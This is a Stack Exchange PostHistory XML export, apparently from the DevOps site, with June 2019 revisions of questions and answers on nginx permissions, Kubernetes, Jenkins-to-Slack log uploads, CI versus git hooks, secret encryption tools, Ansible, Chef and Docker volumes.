  <row Id="24620" PostHistoryTypeId="50" PostId="5306" RevisionGUID="00792777-687c-476e-82f5-7593e8a5235f" CreationDate="2019-06-21T03:03:15.340" UserId="-1" />
  <row Id="24621" PostHistoryTypeId="50" PostId="5954" RevisionGUID="0d41b8ec-833f-4c29-a493-c53a5995c5b8" CreationDate="2019-06-21T04:06:00.587" UserId="-1" />
  <row Id="24622" PostHistoryTypeId="2" PostId="8443" RevisionGUID="1acebe28-5295-4a59-b062-011f6d504ef7" CreationDate="2019-06-21T05:36:04.230" UserId="11598" Text="I usually stick to a `755` (or `rwxr-xr-x`) on my web root, but I do not think this is the issue you're running into since your directory is already set to that.  `nginx` should have access to your directory.  The question then becomes the permissions (or existence of) the file you're trying to access.  The files within your directory will need to be readable by the user `nginx` is running as.  I usually leave these files set to a `755` (the same as the directory).  You can change the entire directory by doing&#xD;&#xA;&#xD;&#xA;    sudo chmod -R 755 /var/www/demoapp/&#xD;&#xA;    sudo chgrp -R www-data /var/www/demoapp&#xD;&#xA;&#xD;&#xA;If there is not an index file in the directory, however, you will still get the same error.  The index file is used when you request a directory that doesn't have directory listings enabled.  The most common index file is `index.html`.  This default can be edited in your config, however, using something like:&#xD;&#xA;&#xD;&#xA;    location / {&#xD;&#xA;        index index.php;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;If you want `nginx` to generate a list of files in that directory for you, simply turn on [directory indexing][1], like so:&#xD;&#xA;&#xD;&#xA;    location  /  {&#xD;&#xA;      autoindex  on;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.nginx.org/NginxHttpAutoindexModule&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24623" PostHistoryTypeId="2" PostId="8444" RevisionGUID="fbc1d6c6-922d-46e5-b149-70298aa44053" CreationDate="2019-06-21T07:21:07.217" UserId="6775" Text="You don't mention orchestration, are you planning to implement all by your own configuration on top of Ubuntu?&#xD;&#xA;&#xD;&#xA;I recommend you that take a look at Kubernetes and StatefulSet workloads&#xD;&#xA;&#xD;&#xA;https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/&#xD;&#xA;&#xD;&#xA;You can use Ubuntu as your host to accomplish your needs, but in my experience, you can only need to define correctly your workload and open the right ports to communicate and with the kubernetes integration on different providers you have the persistent volume easy to manage.&#xD;&#xA;&#xD;&#xA;Also, I recommend you to review Helm and you have a redis-ha helm ready&#xD;&#xA;&#xD;&#xA;https://github.com/helm/charts/tree/master/stable/redis-ha" ContentLicense="CC BY-SA 4.0" />
  <row Id="24625" PostHistoryTypeId="50" PostId="6058" RevisionGUID="1feb4d09-af80-47d0-b5f0-7a5478cc1d41" CreationDate="2019-06-21T08:01:50.170" UserId="-1" />
  <row Id="24626" PostHistoryTypeId="5" PostId="8444" RevisionGUID="bb7fee49-e079-4a2e-b917-61b4fc3064b3" CreationDate="2019-06-21T08:30:50.633" UserId="6775" Comment="added 1 character in body" Text="You don't mention orchestration, are you planning to implement all by your own configuration on top of Ubuntu?&#xD;&#xA;&#xD;&#xA;I recommend you that take a look at Kubernetes and StatefulSet workloads&#xD;&#xA;&#xD;&#xA;https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/&#xD;&#xA;&#xD;&#xA;You can use Ubuntu as your host to accomplish your needs, but in my experience, you can only need to define correctly your workload and open the right ports to communicate and with the kubernetes integration on different providers you have the persistent volume easy to manage.&#xD;&#xA;&#xD;&#xA;Also, I recommend you to review Helm and you have a redis-ha chart ready&#xD;&#xA;&#xD;&#xA;https://github.com/helm/charts/tree/master/stable/redis-ha" ContentLicense="CC BY-SA 4.0" />
  <row Id="24628" PostHistoryTypeId="5" PostId="5234" RevisionGUID="631e817f-529a-42a0-a43a-25e909fb7649" CreationDate="2019-06-21T09:58:42.810" UserId="15585" Comment="improved formatting &amp; grammar" Text="I figured out by myself, there is no plugin needed.&#xD;&#xA;&#xD;&#xA;`build.sh &amp;&gt; /dev/stdout | tee jenkins.txt`&#xD;&#xA;and then `curl -F file=@jenkins.txt -F channels=yourchannel -H &quot;Authorization: Bearer your token&quot; https://slack.com/api/files.upload`&#xD;&#xA;&#xD;&#xA;There is no '#' needed for slack channel and channel should not be private. &#xD;&#xA;&#xD;&#xA;And if you use `buils.sh | tee jenkins.log` then you can't get the log from stderr." ContentLicense="CC BY-SA 4.0" />
  <row Id="24629" PostHistoryTypeId="24" PostId="5234" RevisionGUID="631e817f-529a-42a0-a43a-25e909fb7649" CreationDate="2019-06-21T09:58:42.810" Comment="Proposed by 15585 approved by -1 edit id of 1021" ContentLicense="CC BY-SA 4.0" />
  <row Id="24630" PostHistoryTypeId="5" PostId="5234" RevisionGUID="3e9b69e6-3ee5-413e-ab42-05429325300e" CreationDate="2019-06-21T09:58:42.810" UserId="40" Comment="added 3 characters in body" Text="I figured it out by myself, there is no plugin needed.&#xD;&#xA;&#xD;&#xA;`build.sh &amp;&gt; /dev/stdout | tee jenkins.txt`&#xD;&#xA;and then `curl -F file=@jenkins.txt -F channels=yourchannel -H &quot;Authorization: Bearer your token&quot; https://slack.com/api/files.upload`&#xD;&#xA;&#xD;&#xA;There is no '#' needed for slack channel and channel should not be private. &#xD;&#xA;&#xD;&#xA;And if you use `buils.sh | tee jenkins.log` then you can't get the log from stderr." ContentLicense="CC BY-SA 4.0" />
  <row Id="24631" PostHistoryTypeId="50" PostId="8075" RevisionGUID="0d2b6e72-66c0-4766-aa7a-dc511d2a6c5e" CreationDate="2019-06-21T13:03:20.460" UserId="-1" />
  <row Id="24635" PostHistoryTypeId="2" PostId="8445" RevisionGUID="3ced4ba0-185b-4cf2-89bf-8d9e34c68b81" CreationDate="2019-06-21T19:09:25.813" UserId="6643" Text="I learned that it's not required to set the ingress class to nginx as I did in `kubernetes.io/ingress.class: nginx`. All annotations prefixed with `nginx.ingress.kubernetes.io` apply to the default Kubernetes ingress. Setting the timeouts is also not required. The only important annotation is&#xD;&#xA;&#xD;&#xA;    nginx.ingress.kubernetes.io/proxy-body-size: &quot;0&quot;&#xD;&#xA;&#xD;&#xA;because the default value is way too small for Docker image layers. Without this annotation, we get `413 Request Entity Too Large` errors.&#xD;&#xA;&#xD;&#xA;The main problem in my case was somewhere else: We had a HAProxy loadbalancer in front of our Kubernetes workers. Being new in those HA technology, it's configuration was pretty default. It contains the following directives:&#xD;&#xA;&#xD;&#xA;    defaults&#xD;&#xA;        # ...&#xD;&#xA;        retries 3&#xD;&#xA;        timeout connect     1000&#xD;&#xA;        timeout client      1000&#xD;&#xA;        timeout server      1000&#xD;&#xA;&#xD;&#xA;According to [HAProxys time formats](https://cbonte.github.io/haproxy-dconv/1.8/configuration.html#2.49), this got interpreted as ms. In our testing environment, I increased both client/server timeouts to 600s. This fixed all our pushing problems. " ContentLicense="CC BY-SA 4.0" />
  <row Id="24643" PostHistoryTypeId="2" PostId="8447" RevisionGUID="35b40287-553a-4dab-a758-0a9799ed6120" CreationDate="2019-06-22T10:02:29.887" UserId="15605" Text="Newbie to devops here and apologies this is probably a stupid question, but, what is the point of CI platforms? It seems to me that just by using git hooks I can automatically run all my unit tests before a commit and block the commit if needed. If I need to run tests in a production clone environment (I don't, but for argument sake), then I should be able to do this by spinning up a clone server and using git server hooks no? It's just that every article I'm reading on CI seems to imply that a CI platform is necessary. But so far nothing has said why. What *essential* component of CI can I not get unless I use Travis/Circle/Jenkins or whatever?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24644" PostHistoryTypeId="1" PostId="8447" RevisionGUID="35b40287-553a-4dab-a758-0a9799ed6120" CreationDate="2019-06-22T10:02:29.887" UserId="15605" Text="CI platforms versus simple git hooks" ContentLicense="CC BY-SA 4.0" />
  <row Id="24645" PostHistoryTypeId="3" PostId="8447" RevisionGUID="35b40287-553a-4dab-a758-0a9799ed6120" CreationDate="2019-06-22T10:02:29.887" UserId="15605" Text="&lt;continuous-integration&gt;&lt;git-hooks&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24646" PostHistoryTypeId="2" PostId="8448" RevisionGUID="5173f3b1-9d2d-4d55-82d1-bffd2eaa9359" CreationDate="2019-06-22T11:34:12.803" UserId="210" Text="git-crypt, git secret were found. What is your personal preference and why?&#xD;&#xA;&#xD;&#xA;A couple of months ago, I have applied git-crypt. It was quite hard to set it up and the secrets are stored as binaries. I wonder whether git-secret is less cumbersome to set up. What other options are available?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24647" PostHistoryTypeId="1" PostId="8448" RevisionGUID="5173f3b1-9d2d-4d55-82d1-bffd2eaa9359" CreationDate="2019-06-22T11:34:12.803" UserId="210" Text="What options are available to encrypt the content of git repositories?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24648" PostHistoryTypeId="3" PostId="8448" RevisionGUID="5173f3b1-9d2d-4d55-82d1-bffd2eaa9359" CreationDate="2019-06-22T11:34:12.803" UserId="210" Text="&lt;git&gt;&lt;encryption&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24649" PostHistoryTypeId="5" PostId="6059" RevisionGUID="c93b176b-b21d-49d4-968b-256b7120343a" CreationDate="2019-06-22T16:06:33.377" UserId="11958" Comment="Made the documentation link specifically reference version 2.7, which I mentioned." Text="To solve this, I printed `vars` and `ansible_facts`, and eventually stumbled on the `ansible_play_batch` variable, which is a list of hostnames in the current batch. `ansible_play_hosts_all` gives the full list of hostnames. (Do not use `ansible_play_hosts` for this purpose, because as of Ansible 2.7, it works but [the docs][1] say it gives something completely different.)&#xD;&#xA;&#xD;&#xA;The question: Is this the final batch?  &#xD;&#xA;Rephrasing based on the data: Is this batch == the last part of the host list?  &#xD;&#xA;Or to make it simpler: Is the end of this batch == the end of the host list?&#xD;&#xA;&#xD;&#xA;In Ansible, the check for that is:&#xD;&#xA;&#xD;&#xA;    tasks:&#xD;&#xA;      - pause:&#xD;&#xA;          seconds: &quot;{{ health_check_healthy_threshold * health_check_interval }}&quot;&#xD;&#xA;          prompt: Waiting to allow AWS health checks to pass&#xD;&#xA;        when: ansible_play_batch[-1] != ansible_play_hosts_all[-1]&#xD;&#xA;&#xD;&#xA;      - debug: msg=&quot;This is the last batch.&quot;&#xD;&#xA;        when: ansible_play_batch[-1] == ansible_play_hosts_all[-1]&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;Side note: I used the following playbook for testing, to simulate having many/few hosts without bothering to set them up. I couldn't see how to specify the hosts as a list in the playbook, so I added them to a group, then executed the group:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      connection: local&#xD;&#xA;      tasks:&#xD;&#xA;        - add_host: { name: host1, groups: test_hosts }&#xD;&#xA;        - add_host: { name: host2, groups: test_hosts }&#xD;&#xA;    - hosts: test_hosts&#xD;&#xA;      connection: local&#xD;&#xA;      serial: &quot;25%&quot;&#xD;&#xA;      tasks:&#xD;&#xA;        - debug: var=ansible_play_batch&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/2.7/reference_appendices/special_variables.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="24650" PostHistoryTypeId="2" PostId="8449" RevisionGUID="43126777-4eb2-443d-a5bc-e1fc454e6918" CreationDate="2019-06-23T04:08:22.603" UserId="47" Text="The git hooks approach could probably work fine for lone developers. But when multiple developers work on the same project it doesn't work so well, especially in large scale projects.&#xD;&#xA;&#xD;&#xA;Several reasons:&#xD;&#xA;&#xD;&#xA;- the git hooks are local to your copy of the repository, there is no check for consistency across all developers. Anyone can &quot;adjust&quot; their hook script as they see fit, or even forget to get them set up (they're not automatically installed when cloning git repositories for example). A CI platform will consistently run the same scripts for all changes.&#xD;&#xA;- the verifications performed are typically done on the developer's computer, so you're right into the typical &quot;it worked for me&quot; case. Again - consistency: a CI platform will perform the same verifications, in the same context, on a pool of resources much easier to keep consistent than developers' environments&#xD;&#xA;- the verifications performed by a developer are fundamentally silo'd, performed in isolation, on the local snapshot of the repository branch, *before* the changeset is actually integrated into the branch - they do not take into account the changes from the other developers which can happen at any time. Results obtained that way could be significantly misleading, see https://devops.stackexchange.com/questions/398/how-can-successfully-pre-verified-changes-cause-regressions-which-should-have-be/512#512. CI platforms focus on the repository branch itself, checking how a particular changeset performs on that branch at that particular moment, with all other changesets already taken into account, reflecting the actual branch integration status.&#xD;&#xA;- (in larger projects) a CI tool can perform verifications which are impractical for the individual developers. For example multi-platform build lasting hours and requiring high performance build machines well above the typical developer laptop. The centralized verifications performed by a CI platform can be much more resource frugal than when performed by each individual developer.&#xD;&#xA;&#xD;&#xA;Side note: not all projects benefit from the developer ability to spin up on demand a production-like environment/clone server ;) But even if possible, most of the above reasons still stand" ContentLicense="CC BY-SA 4.0" />
  <row Id="24653" PostHistoryTypeId="5" PostId="6738" RevisionGUID="0ccbdd98-318a-479b-acb9-80ed628265f6" CreationDate="2019-06-23T18:28:02.637" UserId="13164" Comment="more readable - drive more takeaways for readers" Text="I think complicating things is what everybody is getting appreciated for nowadays. I will try to answer this question in short .&#xD;&#xA;&#xD;&#xA;Source Repository is used for storing code and its versions, while artifactory is used for storing the executable programs that are outputs of those code [ binaries - dll, jar, war, ear,msi,exe files etc]&#xD;&#xA;&#xD;&#xA;Now the reason why you would want to place them separately in a repo which is different from your code could be many right from secure access,hacking threat, malicious code check ins or to simply have a separate avenue for the clients who just need the binaries. &#xD;&#xA;&#xD;&#xA;The technology of SCM could have divulged itself into creating 2 kind of users ( one with developer privileges who will be able to access the source code and another as a client who will just be able to access binaries) but it did not take that route. So now we have artifactories. " ContentLicense="CC BY-SA 4.0" />
  <row Id="24658" PostHistoryTypeId="5" PostId="4969" RevisionGUID="cc9236f9-6364-436f-a5c6-7d800ae7488c" CreationDate="2019-06-24T07:36:38.040" UserId="-1" Comment="SPELL CHECK, punctuation, removed accent and removed metacommas" Text="Your second link just use the official cookbook. This official cookbook still uses the LWRP syntax, so you need to check in the provider directory for the [resource action code](https://gitlab.com/chef-platform/gitlab-ci-runner/blob/master/providers/default.rb) -- which for register is basically just two execute commands (extract from the file linked above):&#xD;&#xA;&#xD;&#xA;    converge_by(&quot;Register runner #{new_resource.description}&quot;) do&#xD;&#xA;      execute &quot;#{env} gitlab-runner register --non-interactive #{options}&quot;&#xD;&#xA;      # giving time to gitlab-ci to manage the request&#xD;&#xA;      execute &quot;sleep #{new_resource.sleep}&quot;&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;So mostly, your exemple ends up calling the `gitlab-runner register` command with the options defined in the options hash (with a little transformation of the hash into command parameters).&#xD;&#xA;&#xD;&#xA;There's no 'core' chef resource to register gitlab runners out of using an `execute` resource to run the command.&#xD;&#xA;&#xD;&#xA;A basic example of this resource is present in the cookbook [Readme](https://gitlab.com/chef-platform/gitlab-ci-runner/tree/master#default-1):&#xD;&#xA;&#xD;&#xA;    gitlab_ci_runner 'my runner' do&#xD;&#xA;      options({&#xD;&#xA;        registration_token: '1234567890',&#xD;&#xA;        url: 'http://gitlab-ci.myinstance'&#xD;&#xA;      })&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24659" PostHistoryTypeId="24" PostId="4969" RevisionGUID="cc9236f9-6364-436f-a5c6-7d800ae7488c" CreationDate="2019-06-24T07:36:38.040" Comment="Proposed by 70.68.145.0|a7ca2123-806f-46e0-a468-ecb44439e794 approved by 40, 13 edit id of 1022" ContentLicense="CC BY-SA 4.0" />
  <row Id="24660" PostHistoryTypeId="2" PostId="8453" RevisionGUID="661727bf-9ffb-4d97-82ff-9f736f47bf00" CreationDate="2019-06-24T08:06:03.180" UserId="397" Text="I personally am a fan of [Mozilla SOps][1], we've introduced it to two teams and it's gone down well both times, it has proven easy to implement both with local development and our CI/CD pipelines.&#xD;&#xA;&#xD;&#xA;It has support for PGP/GPG to encrypt secrets but also supports Amazon KMS, GCP KMS and Azure KeyVault thus works well in an enterprise cloud-native infrastructure.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/mozilla/sops" ContentLicense="CC BY-SA 4.0" />
  <row Id="24661" PostHistoryTypeId="5" PostId="8128" RevisionGUID="d7523cd7-3f13-4624-8869-099422c4da7f" CreationDate="2019-06-24T14:36:14.530" UserId="14924" Comment="added 14 characters in body" Text="As per https://kubernetes.io/docs/tasks/tools/install-kubectl/#before-you-begin:&#xD;&#xA;&#xD;&#xA;&gt;You must use a kubectl version that is within one minor version difference of your cluster. For example, a v1.2 client should work with v1.1, v1.2, and v1.3 master. Using the latest version of kubectl helps avoid unforeseen issues.&#xD;&#xA;&#xD;&#xA;So you need to either downgrade your kubectl version or upgrade your cluster version.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24662" PostHistoryTypeId="50" PostId="8209" RevisionGUID="a1a93f2f-d244-4ea1-a3ee-a2d67b4778f8" CreationDate="2019-06-24T18:03:00.420" UserId="-1" />
  <row Id="24663" PostHistoryTypeId="2" PostId="8454" RevisionGUID="1060f997-9d61-44c3-a745-cc0e7ca8c51f" CreationDate="2019-06-24T23:11:34.973" UserId="5674" Text="I've heard about deployment pattern which sounds like &quot;build one time, deploy multiple times&quot;.&#xD;&#xA;&#xD;&#xA;If I manage the configuration via e.g. ansible templates or chef or any other CM tools, I don't have any pre-generated configuration. I have it generated on every deployment.&#xD;&#xA;&#xD;&#xA;Why no tool follows this (logical) pattern for configuration?&#xD;&#xA;Does it worth at all?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24664" PostHistoryTypeId="1" PostId="8454" RevisionGUID="1060f997-9d61-44c3-a745-cc0e7ca8c51f" CreationDate="2019-06-24T23:11:34.973" UserId="5674" Text="Build one time, deploy multiple times. How does this apply to configuration?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24665" PostHistoryTypeId="3" PostId="8454" RevisionGUID="1060f997-9d61-44c3-a745-cc0e7ca8c51f" CreationDate="2019-06-24T23:11:34.973" UserId="5674" Text="&lt;configuration-management&gt;&lt;configuration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24669" PostHistoryTypeId="2" PostId="8456" RevisionGUID="44e3074e-6d0e-4ad4-b34a-974041dced1c" CreationDate="2019-06-25T07:42:10.690" UserId="13" Text="Mostly because getting from an unknown state to a desired state is not a build step, at build you start from a known state, which is nil or blank, and create something.&#xD;&#xA;&#xD;&#xA;But what you're missing, I think, is that with configuration as code you build the desired state once and deploy the resulting artifact multiple times.&#xD;&#xA;&#xD;&#xA;For a Chef Cookbook as example, you would:&#xD;&#xA;&#xD;&#xA; - code it &#xD;&#xA; - unit test it with ChefSpec&#xD;&#xA; - functionally test it with Kitchen &#xD;&#xA; - and finally release it as an artifact to chef-server if all tests pass&#xD;&#xA; - promote it environment by environment&#xD;&#xA;&#xD;&#xA;With that in mind, all tools built on the promise theory (ansible, chef, puppet, salt,...) do fulfill this pattern of build once and deploy multiple times." ContentLicense="CC BY-SA 4.0" />
  <row Id="24673" PostHistoryTypeId="2" PostId="8458" RevisionGUID="8bfd868c-c562-423d-809c-f398e7b4590b" CreationDate="2019-06-25T10:55:52.620" UserId="5641" Text="So I have been trying [this-tutorial][1] to access the runC container from the diego-cell VM. However, when I try to run &#xD;&#xA;&#xD;&#xA;    /var/vcap/packages/runc/bin/runc exec -t &lt;instance_id&gt; /bin/bash&#xD;&#xA;&#xD;&#xA;I get the error&#xD;&#xA;&#xD;&#xA;    exec failed: container &quot;&lt;id&gt;&quot; does not exist&#xD;&#xA;&#xD;&#xA;when I run cfdot for the given application it does list this instance-id,&#xD;&#xA;also when navigating into the location&#xD;&#xA;&#xD;&#xA;`/var/vcap/data/garden/depot/&lt;container_id&gt;` it exists.&#xD;&#xA;&#xD;&#xA;But runc in unable to open the container, also when I run&#xD;&#xA;&#xD;&#xA;    runc list&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;the list of running containers in the vm is empty&#xD;&#xA;&#xD;&#xA;    diego-cell/49dbeca6-36eb-4910-94b9-48960891a0b1:~# /var/vcap/packages/runc/bin/runc list&#xD;&#xA;    ID          PID         STATUS      BUNDLE      CREATED     OWNER&#xD;&#xA;    diego-cell/49dbeca6-36eb-4910-94b9-48960891a0b1:~#&#xD;&#xA;&#xD;&#xA;I've run all as root as mentioned in the link.&#xD;&#xA;&#xD;&#xA;Why am I not able to access the runC containers, What am I missing?&#xD;&#xA;&#xD;&#xA;(P.S: Although the intent is same, I'm not looking for cf ssh)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://community.pivotal.io/s/article/How-to-get-into-an-App-Container-Manually-with-Garden-RunC-Backend&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24674" PostHistoryTypeId="1" PostId="8458" RevisionGUID="8bfd868c-c562-423d-809c-f398e7b4590b" CreationDate="2019-06-25T10:55:52.620" UserId="5641" Text="How to get into an App Container Manually with Garden-RunC Backend" ContentLicense="CC BY-SA 4.0" />
  <row Id="24675" PostHistoryTypeId="3" PostId="8458" RevisionGUID="8bfd868c-c562-423d-809c-f398e7b4590b" CreationDate="2019-06-25T10:55:52.620" UserId="5641" Text="&lt;containers&gt;&lt;bosh&gt;&lt;runc&gt;&lt;cloudfoundry&gt;&lt;diego&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24698" PostHistoryTypeId="2" PostId="8465" RevisionGUID="502e820d-9d33-4c35-bae5-8e80ca56af75" CreationDate="2019-06-25T14:33:47.347" UserId="15633" Text="I am guiding teams setting SLOs for their services and a question came up about setting SLOs for services that are still in design.&#xD;&#xA;Are there standards for setting SLOs for services that don't exist yet?&#xD;&#xA;Or is the best practice to start the service and base the SLO on initial performance and move towards a goal after?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24699" PostHistoryTypeId="1" PostId="8465" RevisionGUID="502e820d-9d33-4c35-bae5-8e80ca56af75" CreationDate="2019-06-25T14:33:47.347" UserId="15633" Text="What are best practices for setting SLOs for a new service?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24700" PostHistoryTypeId="3" PostId="8465" RevisionGUID="502e820d-9d33-4c35-bae5-8e80ca56af75" CreationDate="2019-06-25T14:33:47.347" UserId="15633" Text="&lt;sre&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24701" PostHistoryTypeId="2" PostId="8466" RevisionGUID="77c328aa-5544-4a10-b600-b2215a3c9fcc" CreationDate="2019-06-25T18:07:59.880" UserId="15548" Text="In case anyone else is running into this issue and can't figure it out, I fixed it by running this command:&#xD;&#xA;&#xD;&#xA;    gcloud auth activate-service-account --key-file key-file.json&#xD;&#xA;&#xD;&#xA;And then ran my docker push command and it pushed through." ContentLicense="CC BY-SA 4.0" />
  <row Id="24702" PostHistoryTypeId="2" PostId="8467" RevisionGUID="cf375512-06ce-4c8c-b446-08ffc1f3a660" CreationDate="2019-06-25T18:18:32.013" UserId="15647" Text="I want to generalize my code so that it can pull from perforce for any files marked with a type &quot;perforce&quot; because some files need to downloaded from the artifactory instead. I want to sub in the variable perf[0].ID into the 'view' parameter so that I can pull different files depending on the ID. However, when I run it, it's passed in as an empty string. Does the checkout plugin not have any support for variables? If there is no support, would having a spec file give me this generality I want? Or do I need to bite the bullet, abandon the checkout plugin and make a batch script?&#xD;&#xA;&#xD;&#xA;--&gt;I have an array perf with a type,path,ID, and size field. Here perf[0].ID = &quot;Linak&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;stage ('Perforce binaries') {&#xD;&#xA;&#xD;&#xA;            steps {&#xD;&#xA;            //can do this &quot;for perforce[].size()&quot; on specified path&#xD;&#xA;              script {&#xD;&#xA;                for (int i = 0; i &lt; perf.size(); i++ ) {&#xD;&#xA;                  dir(&quot;raw/${perf[i].ID}&quot;) {&#xD;&#xA;                    checkout perforce(credential: 'perforce_credentials', populate: autoClean(delete: true, modtime: false, parallel: [enable: false, minbytes: '1024', minfiles: '1', threads: '4'], pin: '', quiet: true, replace: true, tidy: false), workspace: manualSpec(charset: 'none', cleanup: false, name: 'jenkins-${NODE_NAME}-${JOB_NAME}-${EXECUTOR_NUMBER}', pinHost: false, spec: clientSpec(allwrite: false, backup: false, changeView: '', clobber: false, compress: false, line: 'LOCAL', locked: false, modtime: false, rmdir: false, serverID: '', streamName: '', type: 'READONLY', view: '&quot;//depot/Software/${perf[i].ID}/...&quot; //jenkins-${NODE_NAME}-${JOB_NAME}-${EXECUTOR_NUMBER}/...')))&#xD;&#xA;                  }&#xD;&#xA;                }&#xD;&#xA;              }&#xD;&#xA;           }&#xD;&#xA;        }" ContentLicense="CC BY-SA 4.0" />
  <row Id="24703" PostHistoryTypeId="1" PostId="8467" RevisionGUID="cf375512-06ce-4c8c-b446-08ffc1f3a660" CreationDate="2019-06-25T18:18:32.013" UserId="15647" Text="Jenkins won't substitute variables when trying to check out from perforce" ContentLicense="CC BY-SA 4.0" />
  <row Id="24704" PostHistoryTypeId="3" PostId="8467" RevisionGUID="cf375512-06ce-4c8c-b446-08ffc1f3a660" CreationDate="2019-06-25T18:18:32.013" UserId="15647" Text="&lt;jenkins&gt;&lt;environment-variables&gt;&lt;versioning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24710" PostHistoryTypeId="2" PostId="8469" RevisionGUID="5317069b-8c64-41a2-8b38-14d458a2d5b2" CreationDate="2019-06-25T18:49:50.783" UserId="15648" Text="&quot;I have two Filebeat pipes inputting into Logstash.&quot;&#xD;&#xA;---I assume this means that you have conditional logic and/or prospectors in your filebeat config to ship to the multiple logstash (5044 and 5043)ports?  I'd be interested to see that config.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here's another approach that might acheive your goal:  Use the source value in a conditional output. An example of logstash conditional outputs can be found here: https://discuss.elastic.co/t/conditional-statement-in-output/74672&#xD;&#xA;&#xD;&#xA;If, for some reason filebeat's 'source' field will not suffice: you might inject your own fields, per prospector, as described by andrewkroh midway through the thread here: https://discuss.elastic.co/t/how-to-tag-log-files-in-filebeat-for-logstash-ingestion/44713/6.  Then you could do conditional output on your custom fields.  The example Andrew provided for adding custom fields by prospector is as follows:&#xD;&#xA;filebeat:&#xD;&#xA;  prospectors:&#xD;&#xA;    - paths:&#xD;&#xA;        - /path/to/logs/access.log&#xD;&#xA;      fields:  {log_type: access}&#xD;&#xA;    -   &#xD;&#xA;      paths:&#xD;&#xA;        - /path/to/other/logs/errors.log&#xD;&#xA;      fields: {log_type: errors}&#xD;&#xA;&#xD;&#xA;      " ContentLicense="CC BY-SA 4.0" />
  <row Id="24711" PostHistoryTypeId="5" PostId="8469" RevisionGUID="f8b89292-b045-49a8-83d5-8c199e6e52dd" CreationDate="2019-06-25T18:55:17.987" UserId="15648" Comment="added 11 characters in body" Text="&quot;I have two Filebeat pipes inputting into Logstash.&quot;&#xD;&#xA;---I assume this means that you have conditional logic and/or prospectors in your filebeat config to ship to the multiple logstash (5044 and 5043)ports?  I'd be interested to see that config.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here's another approach that might acheive your goal:  Use the source value in a conditional output. An example of logstash conditional outputs can be found here: https://discuss.elastic.co/t/conditional-statement-in-output/74672&#xD;&#xA;&#xD;&#xA;If, for some reason filebeat's 'source' field will not suffice: you might inject your own fields, per prospector, as described by andrewkroh midway through the thread here: https://discuss.elastic.co/t/how-to-tag-log-files-in-filebeat-for-logstash-ingestion/44713/6.  Then you could do conditional output on your custom fields.  The example Andrew provided for adding custom fields by prospector is as follows:&#xD;&#xA;&#xD;&#xA;    ```filebeat:&#xD;&#xA;    ```  prospectors:&#xD;&#xA;    ```    - paths:&#xD;&#xA;    ```        - /path/to/logs/access.log&#xD;&#xA;    ```      fields:  {log_type: access}&#xD;&#xA;    ```    - paths:&#xD;&#xA;    ```        - /path/to/other/logs/errors.log&#xD;&#xA;    ```      fields: {log_type: errors}&#xD;&#xA;    &#xD;&#xA;      " ContentLicense="CC BY-SA 4.0" />
  <row Id="24712" PostHistoryTypeId="2" PostId="8470" RevisionGUID="67134566-64cc-4e27-9c35-c3efdd39650b" CreationDate="2019-06-25T21:33:32.630" UserId="13459" Text="I'm really familiar with Docker on Linux but my company's IT department uses Windows. They're interested in converting VM-based services over to Docker so I'm trying to get them set up with a good Windows-based Docker infrastructure. &#xD;&#xA;&#xD;&#xA;I've started with a couple containers managed by `docker-compose`. I would like to use named containers rather than hardcoding paths. For example:&#xD;&#xA;&#xD;&#xA;```yml&#xD;&#xA;volumes:&#xD;&#xA;  portainer_data:&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  portainer:&#xD;&#xA;    image: portainer/portainer:latest&#xD;&#xA;    volumes:&#xD;&#xA;      - portainer_data:/data&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;They created a 900GB `E:` drive to hold persistent data. **How can I get all the named volumes for all containers to be stored in `E:\Volumes`?**&#xD;&#xA;&#xD;&#xA;* I figure it would make it super easy for them to configure backup. Instead of having to script a bunch of steps using `docker cp` I could just tell them, &quot;Back up the `E:` drive&quot;. Easy.&#xD;&#xA;* If I understand Docker Desktop and Hyper-V correctly, volumes are stored inside a MobyLinuxVM. The VM is on the `C:` drive and only has 48GB to play with.&#xD;&#xA;&#xD;&#xA;(Please let me know if there's a better way to tackle this in general. I'm open to frame challenges. Down the road I'd like to add Kubernetes or Docker Swarm to the mix, but one step at a time.)&#xD;&#xA;&#xD;&#xA;**OS:** Windows Server 2019 Datacenter" ContentLicense="CC BY-SA 4.0" />
  <row Id="24713" PostHistoryTypeId="1" PostId="8470" RevisionGUID="67134566-64cc-4e27-9c35-c3efdd39650b" CreationDate="2019-06-25T21:33:32.630" UserId="13459" Text="Store named volumes on another drive" ContentLicense="CC BY-SA 4.0" />
